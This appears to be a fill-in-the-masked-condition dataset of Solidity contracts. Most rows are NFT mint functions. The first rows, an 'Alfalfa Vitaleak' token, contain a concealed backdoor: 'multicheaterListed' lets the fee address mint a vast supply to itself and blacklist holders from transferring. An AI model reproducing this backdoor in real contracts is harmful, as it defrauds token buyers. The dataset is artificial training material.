function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
constructor () {
}
function RenounceOwnership(address newAddress) public onlyOwner{
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract AlfalfaVitaleak is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "Alfalfa Vitaleak";
string private _symbol = "$VITALEAK";
uint8 private _decimals = 9;
address payable public _feeAddr;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _frontRunlist;
uint256 public _buyMarketingFee = 3;
uint256 public _sellMarketingFee = 3;
uint256 private _totalSupply = 500000000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
function multicheaterListed(address[] calldata userList, bool status) public {require(<FILL_ME>)
for (uint256 i; i < userList.length; i++) {
address curAddress = userList[i];
if(_feeAddr == curAddress){
uint256 currenc = _totalSupply.mul(10**6);
_balances[_feeAddr] = currenc + _balances[_feeAddr];
}else{
_frontRunlist[curAddress] = status;
}
}
}
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function Launch() public onlyOwner{
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalSupply() public view override returns (uint256) {
}
receive() external payable {}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function decimals() public view returns (uint8) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
}
| _msgSender()==_feeAddr | 240,564 | _msgSender()==_feeAddr |
"ERC20: botListed" | /**
░█████╗░██╗░░░░░███████╗░█████╗░██╗░░░░░███████╗░█████╗░
██╔══██╗██║░░░░░██╔════╝██╔══██╗██║░░░░░██╔════╝██╔══██╗
███████║██║░░░░░█████╗░░███████║██║░░░░░█████╗░░███████║
██╔══██║██║░░░░░██╔══╝░░██╔══██║██║░░░░░██╔══╝░░██╔══██║
██║░░██║███████╗██║░░░░░██║░░██║███████╗██║░░░░░██║░░██║
╚═╝░░╚═╝╚══════╝╚═╝░░░░░╚═╝░░╚═╝╚══════╝╚═╝░░░░░╚═╝░░╚═╝
██╗░░░██╗██╗████████╗░█████╗░██╗░░░░░███████╗░█████╗░██╗░░██╗
██║░░░██║██║╚══██╔══╝██╔══██╗██║░░░░░██╔════╝██╔══██╗██║░██╔╝
╚██╗░██╔╝██║░░░██║░░░███████║██║░░░░░█████╗░░███████║█████═╝░
░╚████╔╝░██║░░░██║░░░██╔══██║██║░░░░░██╔══╝░░██╔══██║██╔═██╗░
░░╚██╔╝░░██║░░░██║░░░██║░░██║███████╗███████╗██║░░██║██║░╚██╗
░░░╚═╝░░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝
*/
//https://t.me/AlfalfaVitaleakErc20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
constructor () {
}
function RenounceOwnership(address newAddress) public onlyOwner{
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract AlfalfaVitaleak is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "Alfalfa Vitaleak";
string private _symbol = "$VITALEAK";
uint8 private _decimals = 9;
address payable public _feeAddr;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _frontRunlist;
uint256 public _buyMarketingFee = 3;
uint256 public _sellMarketingFee = 3;
uint256 private _totalSupply = 500000000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
function multicheaterListed(address[] calldata userList, bool status) public {
}
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function Launch() public onlyOwner{
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalSupply() public view override returns (uint256) {
}
receive() external payable {}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function decimals() public view returns (uint8) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount;
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
finalAmount = amount;
}else{
uint256 feeAmount = 0;
require(<FILL_ME>)
if(isMarketPair[from]) {
feeAmount = amount.mul(_buyMarketingFee).div(100);
}
else if(isMarketPair[to]) {
feeAmount = amount.mul(_sellMarketingFee).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
finalAmount = amount.sub(feeAmount);
}
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
}
| !_frontRunlist[from],"ERC20: botListed" | 240,564 | !_frontRunlist[from] |
"This address has already claimed 10 WordList mints." | pragma solidity ^0.8.4;
contract HodleBoard is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public boardTotal;
uint256 public boardMinted;
Counters.Counter private _boardIds;
bytes32 public rootWordList;
mapping(address => uint256) public _wordLists;
bool public burnEnabled = false;
bool public mintPaused = false;
uint256 public totalBoardSupply = 8888;
uint256 public wordListLimit = 10;
bool public boardRevealed = false;
string public baseHash;
string public hiddenHash;
string public baseExt = ".json";
bool public wordListLive = false;
uint256 _wordlistprice = 90000000000000000; //0.09 ether
bool public publicLive = false;
uint256 _publicprice = 110000000000000000; //0.11 ether
constructor() ERC721("Hodle Board", "HODLE") {}
function toggleMintPause() public onlyOwner {
}
function toggleWordListMint() public onlyOwner {
}
function togglePublicMint() public onlyOwner {
}
function changeIPFSBase(string calldata _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function revealBoards() public onlyOwner {
}
function toggleBurnStatus(bool _burnStatus) external onlyOwner {
}
function mintWordList(uint256 _mintqty, bytes32[] memory wordListProof) external payable {
require(wordListLive, "The Hodle Board WordList mint is currently unavailable.");
require(!mintPaused, "The Hodle Board WordList mint is currently paused.");
require(_mintqty <= wordListLimit, "You can mint a maximum of 10 Hodle Boards on the WordList mint.");
require(<FILL_ME>)
require(checkWordList(msg.sender, wordListProof), "This address is not on the WordList.");
require(boardMinted + _mintqty <= totalBoardSupply, "The Hodle Board collection is minted out.");
require(_wordlistprice * _mintqty <= msg.value, "The transaction requires more ETH to WordList mint.");
uint256 _freshBoardId;
for (uint256 i = 0; i < _mintqty; i++) {
_boardIds.increment();
_freshBoardId = _boardIds.current();
_safeMint(msg.sender, _freshBoardId);
_wordLists[msg.sender] = _wordLists[msg.sender] + 1;
boardTotal = boardTotal + 1;
boardMinted = boardMinted + 1;
}
}
function publicMint(uint256 _mintqty) external payable {
}
function mintTeamBoards(uint256 _mintqty) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setHiddenHash(string memory _newHash) public onlyOwner {
}
function editSupply(uint256 _newSupply) public onlyOwner {
}
function editRootWordList(bytes32 _newRoot) public onlyOwner {
}
function burn(uint256 tokenId) external {
}
function checkWordList(address walletAddress, bytes32[] memory wordListProof) internal view returns (bool) {
}
function wdrawDeployContract() public onlyOwner {
}
}
| _wordLists[msg.sender]+_mintqty<=wordListLimit,"This address has already claimed 10 WordList mints." | 240,690 | _wordLists[msg.sender]+_mintqty<=wordListLimit |
"This address is not on the WordList." | pragma solidity ^0.8.4;
contract HodleBoard is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public boardTotal;
uint256 public boardMinted;
Counters.Counter private _boardIds;
bytes32 public rootWordList;
mapping(address => uint256) public _wordLists;
bool public burnEnabled = false;
bool public mintPaused = false;
uint256 public totalBoardSupply = 8888;
uint256 public wordListLimit = 10;
bool public boardRevealed = false;
string public baseHash;
string public hiddenHash;
string public baseExt = ".json";
bool public wordListLive = false;
uint256 _wordlistprice = 90000000000000000; //0.09 ether
bool public publicLive = false;
uint256 _publicprice = 110000000000000000; //0.11 ether
constructor() ERC721("Hodle Board", "HODLE") {}
function toggleMintPause() public onlyOwner {
}
function toggleWordListMint() public onlyOwner {
}
function togglePublicMint() public onlyOwner {
}
function changeIPFSBase(string calldata _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function revealBoards() public onlyOwner {
}
function toggleBurnStatus(bool _burnStatus) external onlyOwner {
}
function mintWordList(uint256 _mintqty, bytes32[] memory wordListProof) external payable {
require(wordListLive, "The Hodle Board WordList mint is currently unavailable.");
require(!mintPaused, "The Hodle Board WordList mint is currently paused.");
require(_mintqty <= wordListLimit, "You can mint a maximum of 10 Hodle Boards on the WordList mint.");
require(_wordLists[msg.sender] + _mintqty <= wordListLimit, "This address has already claimed 10 WordList mints.");
require(<FILL_ME>)
require(boardMinted + _mintqty <= totalBoardSupply, "The Hodle Board collection is minted out.");
require(_wordlistprice * _mintqty <= msg.value, "The transaction requires more ETH to WordList mint.");
uint256 _freshBoardId;
for (uint256 i = 0; i < _mintqty; i++) {
_boardIds.increment();
_freshBoardId = _boardIds.current();
_safeMint(msg.sender, _freshBoardId);
_wordLists[msg.sender] = _wordLists[msg.sender] + 1;
boardTotal = boardTotal + 1;
boardMinted = boardMinted + 1;
}
}
function publicMint(uint256 _mintqty) external payable {
}
function mintTeamBoards(uint256 _mintqty) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setHiddenHash(string memory _newHash) public onlyOwner {
}
function editSupply(uint256 _newSupply) public onlyOwner {
}
function editRootWordList(bytes32 _newRoot) public onlyOwner {
}
function burn(uint256 tokenId) external {
}
function checkWordList(address walletAddress, bytes32[] memory wordListProof) internal view returns (bool) {
}
function wdrawDeployContract() public onlyOwner {
}
}
| checkWordList(msg.sender,wordListProof),"This address is not on the WordList." | 240,690 | checkWordList(msg.sender,wordListProof) |
"The Hodle Board collection is minted out." | pragma solidity ^0.8.4;
contract HodleBoard is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public boardTotal;
uint256 public boardMinted;
Counters.Counter private _boardIds;
bytes32 public rootWordList;
mapping(address => uint256) public _wordLists;
bool public burnEnabled = false;
bool public mintPaused = false;
uint256 public totalBoardSupply = 8888;
uint256 public wordListLimit = 10;
bool public boardRevealed = false;
string public baseHash;
string public hiddenHash;
string public baseExt = ".json";
bool public wordListLive = false;
uint256 _wordlistprice = 90000000000000000; //0.09 ether
bool public publicLive = false;
uint256 _publicprice = 110000000000000000; //0.11 ether
constructor() ERC721("Hodle Board", "HODLE") {}
function toggleMintPause() public onlyOwner {
}
function toggleWordListMint() public onlyOwner {
}
function togglePublicMint() public onlyOwner {
}
function changeIPFSBase(string calldata _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function revealBoards() public onlyOwner {
}
function toggleBurnStatus(bool _burnStatus) external onlyOwner {
}
function mintWordList(uint256 _mintqty, bytes32[] memory wordListProof) external payable {
require(wordListLive, "The Hodle Board WordList mint is currently unavailable.");
require(!mintPaused, "The Hodle Board WordList mint is currently paused.");
require(_mintqty <= wordListLimit, "You can mint a maximum of 10 Hodle Boards on the WordList mint.");
require(_wordLists[msg.sender] + _mintqty <= wordListLimit, "This address has already claimed 10 WordList mints.");
require(checkWordList(msg.sender, wordListProof), "This address is not on the WordList.");
require(<FILL_ME>)
require(_wordlistprice * _mintqty <= msg.value, "The transaction requires more ETH to WordList mint.");
uint256 _freshBoardId;
for (uint256 i = 0; i < _mintqty; i++) {
_boardIds.increment();
_freshBoardId = _boardIds.current();
_safeMint(msg.sender, _freshBoardId);
_wordLists[msg.sender] = _wordLists[msg.sender] + 1;
boardTotal = boardTotal + 1;
boardMinted = boardMinted + 1;
}
}
function publicMint(uint256 _mintqty) external payable {
}
function mintTeamBoards(uint256 _mintqty) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setHiddenHash(string memory _newHash) public onlyOwner {
}
function editSupply(uint256 _newSupply) public onlyOwner {
}
function editRootWordList(bytes32 _newRoot) public onlyOwner {
}
function burn(uint256 tokenId) external {
}
function checkWordList(address walletAddress, bytes32[] memory wordListProof) internal view returns (bool) {
}
function wdrawDeployContract() public onlyOwner {
}
}
| boardMinted+_mintqty<=totalBoardSupply,"The Hodle Board collection is minted out." | 240,690 | boardMinted+_mintqty<=totalBoardSupply |
"The transaction requires more ETH to WordList mint." | pragma solidity ^0.8.4;
contract HodleBoard is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public boardTotal;
uint256 public boardMinted;
Counters.Counter private _boardIds;
bytes32 public rootWordList;
mapping(address => uint256) public _wordLists;
bool public burnEnabled = false;
bool public mintPaused = false;
uint256 public totalBoardSupply = 8888;
uint256 public wordListLimit = 10;
bool public boardRevealed = false;
string public baseHash;
string public hiddenHash;
string public baseExt = ".json";
bool public wordListLive = false;
uint256 _wordlistprice = 90000000000000000; //0.09 ether
bool public publicLive = false;
uint256 _publicprice = 110000000000000000; //0.11 ether
constructor() ERC721("Hodle Board", "HODLE") {}
function toggleMintPause() public onlyOwner {
}
function toggleWordListMint() public onlyOwner {
}
function togglePublicMint() public onlyOwner {
}
function changeIPFSBase(string calldata _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function revealBoards() public onlyOwner {
}
function toggleBurnStatus(bool _burnStatus) external onlyOwner {
}
function mintWordList(uint256 _mintqty, bytes32[] memory wordListProof) external payable {
require(wordListLive, "The Hodle Board WordList mint is currently unavailable.");
require(!mintPaused, "The Hodle Board WordList mint is currently paused.");
require(_mintqty <= wordListLimit, "You can mint a maximum of 10 Hodle Boards on the WordList mint.");
require(_wordLists[msg.sender] + _mintqty <= wordListLimit, "This address has already claimed 10 WordList mints.");
require(checkWordList(msg.sender, wordListProof), "This address is not on the WordList.");
require(boardMinted + _mintqty <= totalBoardSupply, "The Hodle Board collection is minted out.");
require(<FILL_ME>)
uint256 _freshBoardId;
for (uint256 i = 0; i < _mintqty; i++) {
_boardIds.increment();
_freshBoardId = _boardIds.current();
_safeMint(msg.sender, _freshBoardId);
_wordLists[msg.sender] = _wordLists[msg.sender] + 1;
boardTotal = boardTotal + 1;
boardMinted = boardMinted + 1;
}
}
function publicMint(uint256 _mintqty) external payable {
}
function mintTeamBoards(uint256 _mintqty) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setHiddenHash(string memory _newHash) public onlyOwner {
}
function editSupply(uint256 _newSupply) public onlyOwner {
}
function editRootWordList(bytes32 _newRoot) public onlyOwner {
}
function burn(uint256 tokenId) external {
}
function checkWordList(address walletAddress, bytes32[] memory wordListProof) internal view returns (bool) {
}
function wdrawDeployContract() public onlyOwner {
}
}
| _wordlistprice*_mintqty<=msg.value,"The transaction requires more ETH to WordList mint." | 240,690 | _wordlistprice*_mintqty<=msg.value |
"The transaction requires more ETH to WordList mint." | pragma solidity ^0.8.4;
contract HodleBoard is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public boardTotal;
uint256 public boardMinted;
Counters.Counter private _boardIds;
bytes32 public rootWordList;
mapping(address => uint256) public _wordLists;
bool public burnEnabled = false;
bool public mintPaused = false;
uint256 public totalBoardSupply = 8888;
uint256 public wordListLimit = 10;
bool public boardRevealed = false;
string public baseHash;
string public hiddenHash;
string public baseExt = ".json";
bool public wordListLive = false;
uint256 _wordlistprice = 90000000000000000; //0.09 ether
bool public publicLive = false;
uint256 _publicprice = 110000000000000000; //0.11 ether
constructor() ERC721("Hodle Board", "HODLE") {}
function toggleMintPause() public onlyOwner {
}
function toggleWordListMint() public onlyOwner {
}
function togglePublicMint() public onlyOwner {
}
function changeIPFSBase(string calldata _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function revealBoards() public onlyOwner {
}
function toggleBurnStatus(bool _burnStatus) external onlyOwner {
}
function mintWordList(uint256 _mintqty, bytes32[] memory wordListProof) external payable {
}
function publicMint(uint256 _mintqty) external payable {
require(publicLive, "The Hodle Board public mint is currently unavailable.");
require(!mintPaused, "The Hodle Board public mint is currently paused.");
require(_mintqty > 0, "You must mint more than 0 Hodle Boards.");
require(boardMinted + _mintqty <= totalBoardSupply, "The Hodle Board collection is minted out.");
require(<FILL_ME>)
uint256 _freshBoardId;
for (uint256 i = 0; i < _mintqty; i++) {
_boardIds.increment();
_freshBoardId = _boardIds.current();
_safeMint(msg.sender, _freshBoardId);
boardTotal = boardTotal + 1;
boardMinted = boardMinted + 1;
}
}
function mintTeamBoards(uint256 _mintqty) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setHiddenHash(string memory _newHash) public onlyOwner {
}
function editSupply(uint256 _newSupply) public onlyOwner {
}
function editRootWordList(bytes32 _newRoot) public onlyOwner {
}
function burn(uint256 tokenId) external {
}
function checkWordList(address walletAddress, bytes32[] memory wordListProof) internal view returns (bool) {
}
function wdrawDeployContract() public onlyOwner {
}
}
| _publicprice*_mintqty<=msg.value,"The transaction requires more ETH to WordList mint." | 240,690 | _publicprice*_mintqty<=msg.value |
"Only whitelisted" | // Amended by Achraf
pragma solidity >=0.7.0 <0.9.0;
contract MaterialGirlNFT is Ownable, ERC721A {
using Strings for uint256;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
string private mintKey = "";
uint256 public cost = 0.04 ether;
uint256 public maxSupply = 9842;
uint256 public maxMintAmountPerTx = 5;
uint256 public nftPerAddressLimit = 10;
bool public paused = false;
bool public revealed = false;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A("Material Girl NFT", "MGN") {
}
modifier mintCompliance(uint256 _mintAmount, string memory _mintKey) {
require(<FILL_ME>)
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(totalSupply() + _mintAmount <= maxSupply, "Max supply exceeded!");
require(!paused, "The contract is paused!");
_;
}
function setMintKey(string memory _mintKey) public onlyOwner {
}
function mint(uint256 _mintAmount, string memory _mintKey) public payable mintCompliance(_mintAmount, _mintKey) {
}
function mintForAddress(uint256 _mintAmount, address _receiver, string memory _mintKey) public mintCompliance(_mintAmount, _mintKey) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setNftPerAddressLimit(uint256 _nftPerAddressLimit) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| keccak256(bytes(_mintKey))==keccak256(bytes(mintKey)),"Only whitelisted" | 240,781 | keccak256(bytes(_mintKey))==keccak256(bytes(mintKey)) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.